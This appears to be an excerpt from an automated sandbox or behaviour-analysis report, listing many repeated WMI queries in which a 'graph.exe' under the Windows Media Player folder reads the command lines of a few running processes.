Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8276
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
